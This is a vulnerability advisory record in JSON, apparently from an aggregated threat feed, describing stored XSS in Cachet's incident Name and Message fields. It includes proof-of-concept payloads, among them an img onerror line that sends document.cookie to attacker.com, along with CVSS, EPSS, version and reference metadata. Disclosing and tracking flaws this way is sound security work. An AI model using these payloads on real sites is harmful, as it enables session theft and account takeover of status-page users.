{"schema":"threatline.record/2","record":{"id":"CVE-2026-113712","aliases":["GHSA-x397-5hrv-j9m9"],"summary":"Cachet has Stored XSS in Incident Component","details":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```<img src=x onerror=\"alert(1)\">```\n\nStep 2 — Cookie/token exfiltration:\n```<img src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\">```\n\nStep 3 — Forced redirect to sensitive page:\n```<img src=x onerror=\"window.location='/dashboard/manage-customization'\">```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n<img width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" />\n\n### Payload 2\n<img width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" />\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","categories":["Libraries & packages"],"product":"cachethq/cachet","vendor":"cachethq","ecosystem":"composer","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","source_modified_at":"2026-10-20T21:09:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"cachethq/cachet"},"range":"<= 2.4.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113712","source_modified_at":"2026-10-23T02:00:37.868Z","fetched_at":"2026-10-23T18:42:43.628194Z","product":"cachet","vendor":"cachethq","versions":[{"status":"affected","version":"<= 2.4.1"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-x397-5hrv-j9m9","source_modified_at":"2026-10-20T21:15:04.024300311Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"cachethq/cachet","ecosystem":"Packagist","purl":"pkg:composer/cachethq/cachet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.4.1"}]}],"versions":["v0.1.0-alpha","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v2.0.0","v2.0.0-RC1","v2.0.0-RC2","v2.0.0-RC3","v2.0.0-RC4","v2.0.0-RC5","v2.0.0-beta1","v2.0.0-beta2","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.0-RC1","v2.1.0-RC2","v2.1.1","v2.1.2","v2.2.0","v2.2.0-RC1","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.3.0","v2.3.0-RC1","v2.3.0-RC2","v2.3.0-RC3","v2.3.0-RC4","v2.3.0-RC5","v2.3.0-RC6","v2.3.1","v2.3.10","v2.3.11","v2.3.12","v2.3.13","v2.3.14","v2.3.15","v2.3.16","v2.3.17","v2.3.18","v2.3.2","v2.3.3","v2.3.4","v2.3.5"]}],"fixed_versions":[],"cvss":4.8,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00355,"percentile":0.2806,"score_date":"2026-10-23"},"published_at":"2026-10-20T19:14:02.289Z","modified_at":"2026-10-23T02:00:37.868Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T21:09:40Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-113712","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23T02:00:37.868Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-x397-5hrv-j9m9","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T21:15:04.024300311Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113712","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-23T02:00:16.005596Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-23T02:00:37.868Z","content_hash":"62c7a4d6cb1efc5fca376a08828841e84da2ed603d27d9c46c3af5d03fead3e2"}}